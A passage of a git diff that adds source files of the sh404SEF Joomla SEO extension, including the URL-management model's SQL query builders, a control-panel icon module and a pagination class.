> 2) + { + array_shift($pathArray); + } + break; + default: + throw new Sh404sefExceptionDefault('Invalid configuration option (' . print_r($id) . ') passed to ' . __METHOD__ . ' in ' . __CLASS__, + 500); + ; + break; + } + // build slug, according to request + foreach ($pathArray as $key => $value) + { + $pathArray[$key]->slug = $useAlias ? $pathArray[$key]->alias : $pathArray[$key]->title; + if ($insertId) + { + $separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator; + $pathArray[$key]->slug = $pathArray[$key]->id . $separator . $pathArray[$key]->slug; + } + } + + // return formatted Path + return empty($pathArray) ? array() : $pathArray; + } + + public function getCategorySlugArray($extension, $id, $whichCat, $useAlias, $insertId, $uncategorizedPath = '', $requestedLanguage = '*', + $separator = '') + { + // special case for the "uncategorised" category + $unCat = Sh404sefHelperCategories::getUncategorizedCat($extension); + if (!empty($unCat) && $id == $unCat->id) + { + $slug = $useAlias ? $unCat->title : $unCat->alias; + $slugArray = empty($uncategorizedPath) ? array($slug) : array($uncategorizedPath, $slug); + return $slugArray; + } + + // regular category, build the path to the cat + $separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator; + $pathArray = $this->getCategoryPathArray($extension, $id, $whichCat, $useAlias, $insertId, $requestedLanguage, $separator); + + $slugArray = array(); + foreach ($pathArray as $catObject) + { + $slugArray[] = $catObject->slug; + } + + return $slugArray; + } + + /** + * + * Build an array holding the various path items + * for a given category, as descrobed by a JCategoryNode object + * complying with general SEF url generation parameters + * + * @param JCategoryNode object $node the category node + */ + private function _buildCategoryRawNodePathArray($node) + { + // holds result + $pathArray = array(); + + // iterate over node parent cats + $safer = 0; + do + { + $tmp = new stdClass(); + $tmp->id = $node->id; + $tmp->title = $node->title; + $tmp->alias = $node->alias; + $tmp->slug = ''; + $pathArray[] = $tmp; + $node = $node->getParent(); + $isRoot = empty($node) || $node->id == 'root'; + $safer++; + } + while (!$isRoot && $safer < 20); + + // get first things first + $pathArray = array_reverse($pathArray); + + // process rules for building the category url path + + // return final array + return $pathArray; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/urls.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/urls.php new file mode 100644 index 00000000..de4bc3a9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/urls.php @@ -0,0 +1,608 @@ +_updateContextData(); + + // call the appropriate sub-method to get the db query + $methodName = '_getPurgeQuery' . ucfirst($type); + if (is_callable( array( $this, $methodName))) { + $deleteQuery = $this->$methodName(); + } else { + $this->setError( 'Invalid method call _purge' . $type); + return; + } + + try { + + // then run the query + $this->_db->setQuery( $deleteQuery); + $this->_db->execute(); + + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( $e->getMessage()); + } + + // delete from cache : we delete the whole cache anyway, except for 404 pages + // which are not in the cache + if ($type != '404') { + Sh404sefHelperCache::purge(); + } + + // reset limit and limitstart variables, to avoid + // issue when displaying again results + $this->_setState( 'limitstart', 0); + $this->_setState( 'limit', 0); + + // reprocess custom urls, checking there is still at least one per group + // of identical SEF url with a rank = 0 + // as the "main" url for this group was possibly deleted during the purge + $query = 'select ?? from (select * from ?? where ?? <> ? order by ?? asc) as tmp_table group by ??'; + $nameQuoted = array( 'id', '#__sh404sef_urls', 'dateadd', 'rank', 'oldurl'); + $quoted = array( '0000-00-00'); + try { + // select custom with lowest rank + $customs = ShlDbHelper::quoteQuery( $query, $nameQuoted, $quoted)->loadColumn(); + + // make sure there is at least one of those with rank = 0 + if(!empty($customs)) { + ShlDbHelper::updateIn( '#__sh404sef_urls', array( 'rank' => 0), 'id', $customs); + } + + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $this->setError( 'Internal database error # ' . $e->getMessage()); + } + + } + + + public function getUrlsCount( $which = 'auto') { + + switch (strtolower( $which)) { + + // we want to read all automatic urls (include duplicates) + case 'auto': + $numberOfUrls = ShlDbHelper::count( $this->_getTableName(), '*', array('dateadd' => '0000-00-00')); + break; + + // we want to read urls as per current selection input fields + // ie : component, language, custom, ... + case 'selected': + $numberOfUrls = $this->getTotal(); + break; + + case'view404': + case '404': + $query = 'select count(*) from ' . $this->_db->quoteName( $this->_getTableName()) + . ' where ' . $this->_db->quoteName( 'dateadd') . '!=' . $this->_db->Quote( '0000-00-00') + . ' and ' . $this->_db->quoteName( 'newurl') . '=' . $this->_db->Quote( ''); + try { + $this->_db->setQuery( $query); + $numberOfUrls = $this->_db->loadResult(); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $numberOfUrls = 0; + } + break; + + default: + $numberOfUrls = 0; + break; + } + + return intval( $numberOfUrls); + } + + /** + * Gets alist of current filters and sort options which have + * been applied when building up the data + * @override + * @return object the list ov values as object properties + */ + public function getDisplayOptions() { + + $options = parent::getDisplayOptions(); + + // get additional options vs base class + + // search string applied to pageid + $options->search_pageid = $this->_getState( 'search_pageid'); + // component used in url + $options->filter_component = $this->_getState( 'filter_component'); + // show all/only with duplicates/only w/o duplicates + $options->filter_duplicate = $this->_getState( 'filter_duplicate'); + // show all/only with aliases/only w/o aliases + $options->filter_alias = $this->_getState( 'filter_alias'); + // show all/only custom/only automatic + $options->filter_url_type = $this->_getState( 'filter_url_type'); + // show all/only one language + $options->filter_language = $this->_getState( 'filter_language'); + + // record has a title + $options->filter_title = $this->_getState( 'filter_title'); + // record has a description + $options->filter_desc = $this->_getState( 'filter_desc'); + + // return cached instance + return $options; + } + + protected function _buildListSelect( $options) { + + // array to hold select clause parts + $select = array(); + + // get the layout option from params + $layout = $this->_getOption( 'layout', $options); + $getMetaData = $this->_getOption( 'getMetaData', $options, false); + $getPageId = $this->_getOption( 'getPageId', $options, false); + + // in some case, we only need a simple list of urls, with no + // counting of additionnal date, pageids, aliases, etc + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + if ($simpleUrlList) { + $s = ' select distinct u1.*'; + $s .= $getMetaData ? ', m.newurl as nonsefurl, m.id as metaid, m.metatitle as metatitle, m.metadesc as metadesc, m.metakey as metakey, m.metalang as metalang, m.metarobots as metarobots, m.canonical as canonical' : ''; + $s .= $getPageId ? ', p.newurl as nonsefurl, p.pageid as pageid, p.id as pageidid, p.type as pageidtype, p.hits as pageidhits' : ''; + $select[] = $s; + // add from clause + if ($getPageId) { + $select[] = 'from ' . $this->_db->quoteName( '#__sh404sef_pageids') . ' as p'; + } else { + $select[] = 'from ' . $this->_db->quoteName( '#__sh404sef_urls') . ' as u1'; + } + } else { + // regular query, with all bells and whistles + switch ($layout) { + case 'export' : + $s = ' select distinct u1.*'; + $s .= $getMetaData ? ',m.newurl as nonsefurl, m.id as metaid, m.metatitle as metatitle, m.metadesc as metadesc, m.metakey as metakey, m.metalang as metalang, m.metarobots as metarobots, m.canonical as canonical' : ''; + $select[] = $s; + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as d, '. $this->_getTableName() . ' as u1 '; + break; + case 'view404': + $select[] = ' select distinct u1.*'; + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as u1 '; + break; + default: + $s = ' select distinct u1.*, count(d.`id`)-1 as duplicates, count(m.`id`) as metas'; + $s .= $getMetaData ? ', m.newurl as nonsefurl, m.id as metaid, m.metatitle as metatitle, m.metadesc as metadesc, m.metakey as metakey, m.metalang as metalang, m.metarobots as metarobots, m.canonical as canonical' : ''; + $select[] = $s; + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as d, '. $this->_getTableName() . ' as u1 '; + break; + } + } + // aggregate clauses + $select = ( count( $select ) ? implode( ' ', $select ) : '' ); + + return $select; + } + + protected function _buildListJoin( $options) { + + // array to hold join clause parts + $join = array(); + + // get the layout option from params + $layout = $this->_getOption( 'layout', $options); + $getMetaData = $this->_getOption( 'getMetaData', $options, false); + $getPageId = $this->_getOption( 'getPageId', $options, false); + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + + if ($simpleUrlList) { + if ($getPageId) { + $join[] = 'left join ' . $this->_db->quoteName( '#__sh404sef_urls') . ' as u1 on p.newurl=u1.newurl'; + } else if( $getMetaData) { + $join[] = 'left join ' . $this->_db->quoteName( '#__sh404sef_metas') . ' as m on m.newurl=u1.newurl'; + } + } else { + // various cases of layouts + switch ($layout) { + case 'view404': + break; + default: + $join[] = 'left join ' . $this->_db->quoteName('#__sh404sef_metas') . ' as m on m.newurl=u1.newurl'; + break; + } + } + // aggregate clauses + $join = ( count( $join ) ? ' ' . implode( ' ', $join ) : '' ); + + return $join; + + } + + protected function _buildListWhere( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // array to hold where clause parts + $where = array(); + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + $getMetaData = $this->_getOption( 'getMetaData', $options, false); + $getPageId = $this->_getOption( 'getPageId', $options, false); + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + + if ($simpleUrlList) { + + // only apply url restrictions on url page. When getting page ids or meta data, + // we should see all available information + if((!$getPageId && !$getMetaData) || $layout == 'export') { + // various cases of layouts + switch ($layout) { + case 'view404': + $where[] = 'u1.newurl = ""'; + break; + default: + $where[] = 'u1.newurl <> ""'; + break; + } + } + $slowServer = $this->_getOption( 'slowServer', $options, false); + if ( !$slowServer && !empty($filters->search_pageid) ) { + $searchId = $this->_cleanForQuery( $filters->search_pageid); + $where[] = '(LOWER(p.pageid) LIKE \'%' . $searchId . '%\' AND p.type=' . $this->_db->Quote(Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_PAGEID) . ')'; + } + } else { + // regular query, with all bells and whistles + + // only apply url restrictions on url page. When getting page ids or meta data, + // we should see all available information + if(!$getPageId && !$getMetaData) { + // various cases of layouts + switch ($layout) { + case 'view404': + $where[] = 'u1.newurl = ""'; + break; + default: + $where[] = 'u1.newurl <> ""'; + // required to count correctly duplicates if any + $where[] = 'd.oldurl=u1.oldurl'; + break; + } + + //we only show the main url, not its duplicates, except when exporting or viewing 404s + switch ($layout) { + case 'export': + case 'view404': + break; + default: + $where[] = 'u1.rank = 0'; + break; + } + } + } + + // add search all urls term if any + if ( !empty($filters->search_all) ) { // V 1.2.4.q added search URL feature + jimport( 'joomla.utilities.string'); + $searchTerm = $this->_cleanForQuery( JString::strtolower($filters->search_all)); + $where[] = " (LOWER(u1.oldurl) LIKE '%" . $searchTerm . "%' OR " + . "LOWER(u1.newurl) LIKE '%" . $searchTerm . "%')"; + } + + // components check + if (!empty( $filters->filter_component)) { + $where[] = "LOWER(u1.newurl) LIKE '%option=" . $this->_cleanForQuery( $filters->filter_component ) . "%'"; + } + + // language check + if (!empty( $filters->filter_language)) { + $where[] = "LOWER(u1.newurl) LIKE '%lang=" . $this->_cleanForQuery( $filters->filter_language ) . "%'"; + } + + // only those with some meta data + // get the option from param + $onlyWithMetaData = $this->_getOption( 'onlyWithMetaData', $options); + if (!empty( $onlyWithMetaData)) { + $where[] = '(' + . 'm.metatitle <> ' . $this->_db->Quote( '') + . ' or m.metadesc <> ' . $this->_db->Quote( '') + . ' or m.metakey <> ' . $this->_db->Quote( '') + . ' or m.metalang <> ' . $this->_db->Quote( '') + . ' or m.metarobots <> ' . $this->_db->Quote( '') + . ')'; + } + + // meta-title check + if (!empty( $filters->filter_title)) { + switch ($filters->filter_title) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_TITLE: + $where[] = 'm.metatitle <> ' . $this->_db->Quote( ''); + break; + case Sh404sefHelperGeneral::COM_SH404SEF_NO_TITLE: + $where[] = '(m.metatitle is null or m.metatitle = ' . $this->_db->Quote( '') . ')'; + break; + } + } + + // meta-description check + if (!empty( $filters->filter_desc)) { + switch ($filters->filter_desc) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DESC: + $where[] = 'm.metadesc <> ' . $this->_db->Quote( ''); + break; + case Sh404sefHelperGeneral::COM_SH404SEF_NO_DESC: + $where[] = '(m.metadesc is null or m.metadesc = ' . $this->_db->Quote( '') . ')'; + break; + } + } + + + // custom or automatic ? + if (!empty( $filters->filter_url_type)) { + switch ($filters->filter_url_type) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM: + $where[] = 'u1.dateadd <> ' . $this->_db->Quote( '0000-00-00'); + break; + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO: + $where[] = 'u1.dateadd = ' . $this->_db->Quote( '0000-00-00'); + break; + } + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + protected function _buildListGroupBy( $options) { + + $groupBy = ''; + + // in some case, we only need a simple list of urls, with no + // additionnal date, pageids, aliases, etc + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + if ($simpleUrlList) { + return $groupBy; + } + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + + // various cases of layouts + switch ($layout) { + case 'export': + case 'view404': + break; + default: + $groupBy = ' group by u1.' . $this->_db->quoteName( 'id'); + break; + } + + return $groupBy; + } + + protected function _buildListOrderBy( $options) { + + $orderBy = parent::_buildListOrderBy( $options); + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // always add a secondary sort by SEF urls, unless it is already the primary + if ($filters->filter_order != 'oldurl') { + // build query fragment + $orderBy .= ', ' . $this->_db->quoteName( 'oldurl'); + } + + return $orderBy; + } + + + protected function _buildListCombinedQuery( $query, $options) { + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + + // various cases of layouts + switch ($layout) { + case 'export': + case 'view404': + return $query; + break; + } + + // in some case, we only need a simple list of urls, with no + // additionnal date, pageids, aliases, etc + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + if ($simpleUrlList) { + return $query; + } + + // make the first combination + $baseQuery = 'select u.*, pg.pageid as pageid, pg.id as pageidid, pg.type as pageidtype, pg.hits as pageidhits, count(a.alias) as aliases from (' . $query /*. $limitString */ . ') as u'; + $baseQuery .= ' left join `#__sh404sef_aliases` as a on a.newurl = u.newurl'; + $baseQuery .= ' left join `#__sh404sef_pageids` as pg on pg.newurl = u.newurl'; + $baseQuery .= ' group by u.newurl'; + + // then add another layer of subqueries if there are some + // view filters (like show only duplicates, or show only with aliases + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // array to hold where clause parts + $where = array(); + + // add pageId search + if ( !empty($filters->search_pageid) ) { + $searchId = $this->_cleanForQuery( $filters->search_pageid); + $where[] = '(LOWER(pageid) LIKE \'%' . $searchId . '%\' AND pageidtype=' . $this->_db->Quote(Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_PAGEID) . ')'; + } + + // with or without duplicates ? + if (!empty( $filters->filter_duplicate)) { + switch ($filters->filter_duplicate) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DUPLICATES: + $where[] = 'duplicates > 0'; + break; + case Sh404sefHelperGeneral::COM_SH404SEF_NO_DUPLICATES: + $where[] = 'duplicates = 0'; + break; + } + } + + // with or without aliases + if (!empty( $filters->filter_alias)) { + switch ($filters->filter_alias) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES: + $where[] = 'aliases > 0'; + break; + case Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES: + $where[] = 'aliases = 0'; + break; + } + } + + // do we require a pageid ? + $getPageId = $this->_getOption( 'getPageId', $options, false); + if ($getPageId) { + $where[] = 'pageid <> \'\''; + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + // combine queries + $finalQuery = $baseQuery; + if (!empty( $where)) { + $finalQuery = 'select combine2.* from (' . $baseQuery . ') as combine2 ' . $where; + } + + return $finalQuery; + } + + /** + * Delete all automatically generated url records + * from database and cache + */ + private function _getPurgeQueryAuto() { + + // delete from database + $query = 'delete from ' . $this->_db->quoteName( $this->_getTableName()) + . ' where ' . $this->_db->quoteName( 'dateadd') . '=' . $this->_db->Quote( '0000-00-00'); + + return $query; + } + + private function _getPurgeQuerySelected() { + + // start delete query + $query = 'delete from ' . $this->_db->quoteName( $this->_getTableName()); + + // call method to build where clause in accordance to current settings and user selection + $where = $this->_buildListWhere( (object) array( 'layout' => 'default')); + + // remove a bit that's only used when selecting aliases and duplicates together + // with the main data. As we are deleting, we don't care about the actual data + $where = str_replace( ' AND d.oldurl=u1.oldurl', '', $where); + + // also remove possible rank limitations. This means that + // dplicates will also go away with their parent. + // Need a big warning! + $where = str_replace( ' AND u1.rank = 0', '', $where); + + // finally remove any u1. left + $where = str_replace( 'u1.', '', $where); + + // stitch where clause + $query = $query . $where; + + return $query; + } + + /** + * Delete all records of 404 pages requests + * + */ + private function _getPurgeQuery404() { + + // delete from database + $query = 'delete from ' . $this->_db->quoteName( $this->_getTableName()) + . ' where ' . $this->_db->quoteName( 'dateadd') . '!=' . $this->_db->Quote( '0000-00-00') + . ' and '. $this->_db->quoteName( 'newurl') . '=' . $this->_db->Quote( ''); + + return $query; + } + + protected function _getTableName() { + + return '#__sh404sef_urls'; + + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected function _getContextDataDef() { + + $contextData = parent::_getContextDataDef(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $addedContextData = array( + + // search string applied to either sef or non sef + array( 'name' => 'search_pageid', 'html_name' => 'search_pageid', 'default' => '', 'type' => 'string') + // component used in url + , array( 'name' => 'filter_component', 'html_name' => 'filter_component', 'default' => '', 'type' => 'string') + // show all/only with duplicates/only w/o duplicates + , array( 'name' => 'filter_duplicate', 'html_name' => 'filter_duplicate', 'default' => 0, 'type' => 'int') + // show all/only with aliases/only w/o aliases + , array( 'name' => 'filter_alias', 'html_name' => 'filter_alias', 'default' => 0, 'type' => 'int') + // show all/only custom/only automatic + , array( 'name' => 'filter_url_type', 'html_name' => 'filter_url_type', 'default' => 0, 'type' => 'int') + // show all/only one language + , array( 'name' => 'filter_language', 'html_name' => 'filter_language', 'default' => '', 'type' => 'string') + + // show all/only with duplicates/only w/o duplicates + , array( 'name' => 'filter_title', 'html_name' => 'filter_title', 'default' => 0, 'type' => 'int') + // show all/only with aliases/only w/o aliases + , array( 'name' => 'filter_desc', 'html_name' => 'filter_desc', 'default' => 0, 'type' => 'int') + + ); + + return array_merge( $contextData, $addedContextData); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/modules/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php new file mode 100644 index 00000000..5b13875b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php @@ -0,0 +1,39 @@ +authorise('core.manage', 'com_sh404sef')) +{ + return ''; +} + +// check in case sh404sef system plugin has been disabled +if (!class_exists('Sh404sefHelperUpdates')) +{ + return ''; +} + +// define path to sh404SEF front and backend dirs +require_once JPATH_ROOT . '/administrator/components/com_sh404sef/defines.php'; + +if (version_compare(JVERSION, '3.0', 'ge')) +{ + $joomlaVersionPrefix = 'j3'; +} +else +{ + $joomlaVersionPrefix = 'j2'; +} +require JModuleHelper::getLayoutPath('mod_sh404sef_cpicon', 'default_' . $joomlaVersionPrefix); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml new file mode 100644 index 00000000..ec80dd9c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml @@ -0,0 +1,34 @@ + + + sh404sef control panel icon + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Quick access icon to reach sh404sef panel and analytics + + mod_sh404sef_cpicon.php + index.html + styles.css + tmpl + + + +
    + + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/styles.css b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/styles.css new file mode 100644 index 00000000..96489b93 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/styles.css @@ -0,0 +1,46 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +#modsh404_cpanel div.icon { + text-align: center; + margin-right: 5px; + float: left; + margin-bottom: 5px; +} + +#modsh404_cpanel div.icon a { + display: block; + float: left; + border: 1px solid #f0f0f0; + height: 97px; + width: 108px; + color: green; + vertical-align: middle; + text-decoration: none; +} + +#modsh404_cpanel div.icon a:hover { + border-left: 1px solid #eee; + border-top: 1px solid #eee; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + background: #f9f9f9; + color: #0B55C4; +} + +#modsh404_cpanel span { + display: block; + text-align: center; +} + +#modsh404_cpanel img { + padding: 10px 0; + margin: 0 auto; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j2.php new file mode 100644 index 00000000..f3ac2d51 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j2.php @@ -0,0 +1,34 @@ +shouldUpdate ? '
    ' . JText::_('COM_SH404SEF_UPDATE_REQUIRED') . '' + : '
    ' . JText::_('COM_SH404SEF_UPDATE_NOT_REQUIRED') . ''; +?> + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j3.php new file mode 100644 index 00000000..2297e659 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/modules/mod_sh404sef_cpicon/tmpl/default_j3.php @@ -0,0 +1,31 @@ +shouldUpdate) { + $updateText = JText::_('COM_SH404SEF_UPDATE_REQUIRED'); + $class = 'badge badge-warning'; + } else { + return; + } + +?> + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/pagination.php b/deployed/sh404sef/administrator/components/com_sh404sef/pagination.php new file mode 100644 index 00000000..750dc9e5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/pagination.php @@ -0,0 +1,20 @@ +total = (int) $total; + $this->limitstart = (int) max($limitstart, 0); + $this->limit = (int) max($limit, 0); + $this->prefix = $prefix; + + if ($this->limit > $this->total) + { + $this->limitstart = 0; + } + + if (!$this->limit) + { + $this->limit = $total; + $this->limitstart = 0; + } + + /* + * If limitstart is greater than total (i.e. we are asked to display records that don't exist) + * then set limitstart to display the last natural page of results + */ + if ($this->limitstart > $this->total - $this->limit) + { + $this->limitstart = max(0, (int)(ceil($this->total / $this->limit) - 1) * $this->limit); + } + + // Set the total pages and current page values. + if ($this->limit > 0) + { + $this->set('pages.total', ceil($this->total / $this->limit)); + $this->set('pages.current', ceil(($this->limitstart + 1) / $this->limit)); + } + + // Set the pagination iteration loop values. + $displayedPages = 10; + $this->set('pages.start', $this->get('pages.current') - ($displayedPages / 2)); + if ($this->get('pages.start') < 1) + { + $this->set('pages.start', 1); + } + if (($this->get('pages.start') + $displayedPages) > $this->get('pages.total')) + { + $this->set('pages.stop', $this->get('pages.total')); + if ($this->get('pages.total') < $displayedPages) + { + $this->set('pages.start', 1); + } + else + { + $this->set('pages.start', $this->get('pages.total') - $displayedPages + 1); + } + } + else + { + $this->set('pages.stop', ($this->get('pages.start') + $displayedPages - 1)); + } + + // If we are viewing all records set the view all flag to true. + if ($limit == 0) + { + $this->_viewall = true; + } + } + + /** + * Method to set an additional URL parameter to be added to all pagination class generated + * links. + * + * @param string $key The name of the URL parameter for which to set a value. + * @param mixed $value The value to set for the URL parameter. + * + * @return mixed The old value for the parameter. + * + * @since 11.1 + */ + public function setAdditionalUrlParam($key, $value) + { + // Get the old value to return and set the new one for the URL parameter. + $result = isset($this->_additionalUrlParams[$key]) ? $this->_additionalUrlParams[$key] : null; + + // If the passed parameter value is null unset the parameter, otherwise set it to the given value. + if ($value === null) + { + unset($this->_additionalUrlParams[$key]); + } + else + { + $this->_additionalUrlParams[$key] = $value; + } + + return $result; + } + + /** + * Method to get an additional URL parameter (if it exists) to be added to + * all pagination class generated links. + * + * @param string $key The name of the URL parameter for which to get the value. + * + * @return mixed The value if it exists or null if it does not. + * + * @since 11.1 + */ + public function getAdditionalUrlParam($key) + { + $result = isset($this->_additionalUrlParams[$key]) ? $this->_additionalUrlParams[$key] : null; + + return $result; + } + + /** + * Return the rationalised offset for a row with a given index. + * + * @param integer $index The row index + * + * @return integer Rationalised offset for a row with a given index. + * + * @since 11.1 + */ + public function getRowOffset($index) + { + return $index +1 + $this->limitstart; + } + + /** + * Return the pagination data object, only creating it if it doesn't already exist. + * + * @return object Pagination data object. + * + * @since 11.1 + */ + public function getData() + { + static $data; + if (!is_object($data)) + { + $data = $this->_buildDataObject(); + } + return $data; + } + + /** + * Create and return the pagination pages counter string, ie. Page 2 of 4. + * + * @return string Pagination pages counter string. + * + * @since 11.1 + */ + public function getPagesCounter() + { + // Initialise variables. + $html = null; + if ($this->get('pages.total') > 1) + { + $html .= JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $this->get('pages.current'), $this->get('pages.total')); + } + return $html; + } + + /** + * Create and return the pagination result set counter string, e.g. Results 1-10 of 42 + * + * @return string Pagination result set counter string. + * + * @since 11.1 + */ + public function getResultsCounter() + { + // Initialise variables. + $html = null; + $fromResult = $this->limitstart + 1; + + // If the limit is reached before the end of the list. + if ($this->limitstart + $this->limit < $this->total) + { + $toResult = $this->limitstart + $this->limit; + } + else + { + $toResult = $this->total; + } + + // If there are results found. + if ($this->total > 0) + { + $msg = JText::sprintf('JLIB_HTML_RESULTS_OF', $fromResult, $toResult, $this->total); + $html .= "\n".$msg; + } + else + { + $html .= "\n".JText::_('JLIB_HTML_NO_RECORDS_FOUND'); + } + + return $html; + } + + /** + * Create and return the pagination page list string, ie. Previous, Next, 1 2 3 ... x. + * + * @return string Pagination page list string. + * + * @since 11.1 + */ + public function getPagesLinks() + { + $app = JFactory::getApplication(); + + // Build the page navigation list. + $data = $this->_buildDataObject(); + + $list = array(); + $list['prefix'] = $this->prefix; + + $itemOverride = false; + $listOverride = false; + + $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/pagination.php'; + if (file_exists($chromePath)) + { + include_once $chromePath; + if (function_exists('pagination_item_active') && function_exists('pagination_item_inactive')) + { + $itemOverride = true; + } + if (function_exists('pagination_list_render')) + { + $listOverride = true; + } + } + + // Build the select list + if ($data->all->base !== null) + { + $list['all']['active'] = true; + $list['all']['data'] = ($itemOverride) ? pagination_item_active($data->all) : $this->_item_active($data->all); + } + else + { + $list['all']['active'] = false; + $list['all']['data'] = ($itemOverride) ? pagination_item_inactive($data->all) : $this->_item_inactive($data->all); + } + + if ($data->start->base !== null) + { + $list['start']['active'] = true; + // is this prev? + $this->_shOptions = array(); + if($data->previous->base !== null && $data->previous->base == $data->start->base) { + $this->_shOptions['rel'] = 'prev'; + } + $list['start']['data'] = ($itemOverride) ? pagination_item_active($data->start) : $this->_item_active($data->start); + } else { + $list['start']['active'] = false; + $list['start']['data'] = ($itemOverride) ? pagination_item_inactive($data->start) : $this->_item_inactive($data->start); + } + if ($data->previous->base !== null) + { + $list['previous']['active'] = true; + $this->_shOptions = array( 'rel' => 'prev'); + $list['previous']['data'] = ($itemOverride) ? pagination_item_active($data->previous) : $this->_item_active($data->previous); + } + else + { + $list['previous']['active'] = false; + $list['previous']['data'] = ($itemOverride) ? pagination_item_inactive($data->previous) : $this->_item_inactive($data->previous); + } + + $list['pages'] = array(); //make sure it exists + foreach ($data->pages as $i => $page) + { + if ($page->base !== null) + { + $list['pages'][$i]['active'] = true; + // is this next or prev? + $this->_shOptions = array(); + if($data->next->base !== null && $data->next->base == $page->base) { + $this->_shOptions['rel'] = 'next'; + } else if($data->previous->base !== null && $data->previous->base == $page->base) { + $this->_shOptions['rel'] = 'prev'; + } + $list['pages'][$i]['data'] = ($itemOverride) ? pagination_item_active($page) : $this->_item_active($page); + } else { + $list['pages'][$i]['active'] = false; + $list['pages'][$i]['data'] = ($itemOverride) ? pagination_item_inactive($page) : $this->_item_inactive($page); + } + } + + if 